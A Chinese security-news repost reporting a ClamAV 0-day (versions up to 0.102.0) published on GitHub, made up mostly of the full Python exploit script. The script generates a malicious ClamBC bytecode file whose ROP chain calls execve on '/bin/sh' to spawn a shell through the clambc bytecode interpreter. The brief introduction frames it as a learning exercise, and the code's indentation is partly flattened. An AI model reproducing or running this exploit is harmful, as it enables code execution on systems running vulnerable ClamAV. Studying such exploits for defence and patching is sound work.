GitHub用户 momika233 公开了免费开源杀毒软件 ClamAV 当前版本(0.102.0及以下版本)的0day exploit 详情。他发布的全文如下:
2002年,ClamAV作为基于 UNIX系统的解决方案出现,它构建于基于签名的检测方法且目前仍在开发过程中。当时,LibClamAV 仅保留2个二进制文件,目前已扩展至5个。
ClamBC 异常复杂,用作字节码的测试工具,主要验证和解释其中的代码,它提供的信息并未表明和解释其内部机制的存在。
由于源代码可用且缺乏文档,本文应运而生。本文的目的并非提升权限,仅仅是作为一种体验,以及体会挑战带来的乐趣。
由于分析需要花费大量时间,因此对引擎的剖析迫在眉睫,同时分析极大地拓宽了我们对其内部结构的认识。尝试和出错的过程带来了有价值的信息、导致潜在漏洞的崩溃,有效地增加了攻击面,扩大了被攻击的可能性。
Exploit 代码如下:
> ./exploit.py
> clambc --debug exploit
[SNIP]
$
"""
names = ["test1",
"read",
"write",
"seek",
"setvirusname",
"debug_print_str",
"debug_print_uint",
"disasm_x86",
"trace_directory",
"trace_scope",
"trace_source",
"trace_op",
"trace_value",
"trace_ptr",
"pe_rawaddr",
"file_find",
"file_byteat",
"malloc",
"test2",
"get_pe_section",
"fill_buffer",
"extract_new",
"read_number",
"hashset_new",
"hashset_add",
"hashset_remove",
"hashset_contains",
"hashset_done",
"hashset_empty",
"buffer_pipe_new",
"buffer_pipe_new_fromfile",
"buffer_pipe_read_avail",
"buffer_pipe_read_get",
"buffer_pipe_read_stopped",
"buffer_pipe_write_avail",
"buffer_pipe_write_get",
"buffer_pipe_write_stopped",
"buffer_pipe_done",
"inflate_init",
"inflate_process",
"inflate_done",
"bytecode_rt_error",
"jsnorm_init",
"jsnorm_process",
"jsnorm_done",
"ilog2",
"ipow",
"iexp",
"isin",
"icos",
"memstr",
"hex2ui",
"atoi",
"debug_print_str_start",
"debug_print_str_nonl",
"entropy_buffer",
"map_new",
"map_addkey",
"map_setvalue",
"map_remove",
"map_find",
"map_getvaluesize",
"map_getvalue",
"map_done",
"file_find_limit",
"engine_functionality_level",
"engine_dconf_level",
"engine_scan_options",
"engine_db_options",
"extract_set_container",
"input_switch",
"get_environment",
"disable_bytecode_if",
"disable_jit_if",
"version_compare",
"check_platform",
"pdf_get_obj_num",
"pdf_get_flags",
"pdf_set_flags",
"pdf_lookupobj",
"pdf_getobjsize",
"pdf_getobj",
"pdf_getobjid",
"pdf_getobjflags",
"pdf_setobjflags",
"pdf_get_offset",
"pdf_get_phase",
"pdf_get_dumpedobjid",
"matchicon",
"running_on_jit",
"get_file_reliability",
"json_is_active",
"json_get_object",
"json_get_type",
"json_get_array_length",
"json_get_array_idx",
"json_get_string_length",
"json_get_string",
"json_get_boolean",
"json_get_int"]
o = names.index("buffer_pipe_new") + 1
k = names.index("buffer_pipe_write_get") + 1
l = names.index("debug_print_str") + 1
m = names.index("malloc") + 1
c = 0
for name in names:
names[c] = name.encode("hex")
c += 1
def cc(n):
v = chr(n + 0x60)
return v
def cs(s):
t = ""
for i in xrange(0, len(s), 2):
u = int(s[i], 16)
l = int(s[i + 1], 16)
for i in [u, l]:
if((i >= 0 and i <= 0xf)):
continue
print "Invalid string."
exit(0)
t += cc(l) + cc(u)
return t
def wn(n, fixed=0, size=0):
if n is 0:
return cc(0)
t = ""
c = hex(n)[2:]
l = len(c)
if (l % 2) is 1:
c = "0" + c
r = c[::-1]
if(l <= 0x10):
if not fixed:
t = cc(l)
i = 0
while i < l:
t += cc(int(r[i], 16))
i += 1
else:
print "Invalid number."
exit(0)
if size != 0:
t = t.ljust(size, "`")
return t
def ws(s):
t = "|"
e = s[-2:]
if(e != "00"):
print "[+] Adding null-byte at the end of the string.."
s += "00"
l = (len(s) / 2)
if (len(s) % 2) is 1:
print "Invalid string length."
exit(0)
t += wn(l)
t += cs(s)
return t
def wt(t):
if t < (num_types + 0x45):
v = wn(t)
return v
else:
print "Invalid type."
exit(0)
def initialize_header(minfunc=0, maxfunc=0, num_func=0, linelength=4096):
global flimit, num_types
if maxfunc is 0:
maxfunc = flimit
if(minfunc > flimit or maxfunc < flimit):
print "Invalid minfunc and/or maxfunc."
exit(0)
header = "ClamBC"
header += wn(0x07) # formatlevel(6, 7)
header += wn(0x88888888) # timestamp
header += ws("416c69656e") # sigmaker
header += wn(0x00) # targetExclude
header += wn(0x00) # kind
header += wn(minfunc) # minfunc
header += wn(maxfunc) # maxfunc
header += wn(0x00) # maxresource
header += ws("00") # compiler
header += wn(num_types + 5) # num_types
header += wn(num_func) # num_func
header += wn(0x53e5493e9f3d1c30) # magic1
header += wn(0x2a, 1) # magic2
header += ":"
header += str(linelength)
header += chr(0x0a)*2
return header
def prepare_types(contained, type=1, nume=1):
global num_types
types = "T"
types += wn(0x45, 1) # start_tid(69)
for i in range(0, num_types):
types += wn(type[i], 1) # kind
if type[i] in [1, 2, 3]:
# Function, PackedStruct, Struct
types += wn(nume[i]) # numElements
for j in range(0, nume[i]):
types += wt(contained[i][j]) # containedTypes[j]
else:
# Array, Pointer
if type[i] != 5:
types += wn(nume[i]) # numElements
types += wt(contained[i][0]) # containedTypes[0]
types += chr(0x0a)
return types
def prepare_apis(calls=1):
global maxapi, names, ids, tids
if(calls > max_api):
print "Invalid number of calls."
exit(0)
apis = "E"
apis += wn(max_api) # maxapi
apis += wn(calls) # calls(<= maxapi)
for i in range(0, calls):
apis += wn(ids[i]) # id
apis += wn(tids[i]) # tid
apis += ws(names[ids[i] - 1]) # name
apis += chr(0x0a)
return apis
def prepare_globals(numglobals=1):
global max_globals, type, gval
globals = "G"
globals += wn(max_globals) # maxglobals
globals += wn(numglobals) # numglobals
for i in range(0, numglobals):
globals += wt(type[i]) # type
for j in gval[i]: # subcomponents
n = wn(j)
globals += chr(ord(n[0]) - 0x20)
globals += n[1:]
globals += cc(0)
globals += chr(0x0a)
return globals
def prepare_function_header(numi, numbb, numa=1, numl=0):
global allo
if numa > 0xf:
print "Invalid number of arguments."
exit(0)
fheader = "A"
fheader += wn(numa, 1) # numArgs
fheader += wt(0x20) # returnType
fheader += "L"
fheader += wn(numl) # numLocals
for i in range(0, numa + numl):
fheader += wn(type[i]) # types
fheader += wn(allo[i], 1) # | 0x8000
fheader += "F"
fheader += wn(numi) # numInsts
fheader += wn(numbb) # numBB
fheader += chr(0x0a)
return fheader
flimit = 93
max_api = 100
max_globals = 32773
num_types = 6
# Header parsing
w = initialize_header(num_func=0x1)
# Types parsing
cont = [[0x8], [0x45], [0x20, 0x20], [0x41, 0x20, 0x20], [0x20, 0x41, 0x20], [0x41, 0x20]]
type = [0x4, 0x5, 0x1, 0x1, 0x1, 0x1]
num = [0x8, 0x1, 0x2, 0x3, 0x3, 0x2]
w += prepare_types(cont, type, num)
# API parsing
ids = [o, k, l, m]
tids = [71, 72, 73, 74]
w += prepare_apis(0x4)
"""
# crash @ id=0
"""
# Globals parsing
type = [0x45]
gval = [[0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41]]
w += prepare_globals(0x1)
# Function header parsing
type = [0x45, 0x41, 0x40, 0x40, 0x40, 0x40, 0x20]
allo = [ 1, 0, 0, 0, 0, 0, 0]
w += prepare_function_header(35, 0x1, 0x0, 0x7)
# BB parsing
p = "B"
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x0)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += "@d"
# STORE (0x0068732f6e69622f(L=8) -> ([Var #1]))
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += "Nobbfifnfobcghfh"
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x360)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += "C`fcd"
# LOAD Var #2 = ([Var #1])
p += wn(0x40)
p += wn(0x2)
p += wn(0x27, 1)
p += wn(0x1)
# SUB Var #2 -= 0xd260
p += wn(0x40)
p += wn(0x2)
p += wn(0x2, 1, 2)
p += wn(0x2)
p += "D`fbmd"
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x10)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += "B`ad"
# LOAD Var #3 = ([Var #1])
p += wn(0x40)
p += wn(0x3)
p += wn(0x27, 1)
p += wn(0x1)
# SUB Var #3 -= 0x10
p += wn(0x40)
p += wn(0x3)
p += wn(0x2, 1, 2)
p += wn(0x3)
p += "B`ad"
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x30)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += "B`cd"
# LOAD Var #4 = ([Var #1])
p += wn(0x40)
p += wn(0x4)
p += wn(0x27, 1)
p += wn(0x1)
# SUB Var #4 -= 0x190
p += wn(0x40)
p += wn(0x4)
p += wn(0x2, 1, 2)
p += wn(0x4)
p += "C`iad"
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x38)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += "Bhcd"
# STORE (Var #3 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x3)
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x48)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += "Bhdd"
# ADD Var #3 += 0x3
p += wn(0x40)
p += wn(0x3)
p += wn(0x2, 1, 2)
p += wn(0x3)
p += "Acd"
# STORE (Var #3 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x3)
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x28)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += "Bhbd"
# ADD Var #5 += Var #2 + 0xcbda
p += wn(0x40)
p += wn(0x5)
p += wn(0x1, 1, 2)
p += wn(0x2)
p += "Djmkld"
# STORE (Var #5 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x5)
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x20)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += "B`bd"
# STORE (Var #4 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x4)
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x18)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += "Bhad"
# ADD Var #5 += Var #2 + 0x99dc
p += wn(0x40)
p += wn(0x5)
p += wn(0x1, 1, 2)
p += wn(0x2)
p += "Dlmiid"
# STORE (Var #5 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x5)
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x10)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += "B`ad"
# STORE (0x3b -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += "Bkcd"
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x30)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += "B`cd"
# STORE (0x0 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += "@d"
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x40)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += "B`dd"
# STORE (0x0 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += "@d"
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x8)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += "Ahd"
# ADD Var #2 += 0x6d68
p += wn(0x40)
p += wn(0x2)
p += wn(0x1, 1, 2)
p += wn(0x2)
p += "Dhfmfd"
# STORE (Var #2 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x2)
p += wn(0x1)
"""
0x99dc : pop rdi ; ret
0xcbda : pop rsi ; ret
0x6d68 : pop rax ; ret
Var #2 = text_base
Var #3 = syscall (+3: pop rdx; ret)
Var #4 = "/bin/sh\x00"
pop rax; ret; o 0x8
59 o 0x10
pop rdi; ret; o 0x18
sh; address o 0x20
pop rsi; ret; o 0x28
0x0 o 0x30
pop rdx; ret; o 0x38
0x0 o 0x40
syscall o 0x48
"""
# COPY Var #6 = (0x5a90050f(o`e``ije))
p += wn(0x20)
p += wn(0x0)
p += wn(0x22, 1)
p += "Ho`e``ijeh"
p += wn(0x6)
p += "T"
p += wn(0x13, 1)
p += wn(0x20)
p += wn(0x6)
p += "E"
w += p
f = open("exploit", "w")
f.write(w)
f.close()
print "[+] Generated payload"
"""
原文链接
https://github.com/momika233/ClamAV_0Day_exploit/
声明:本文来自代码卫士,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。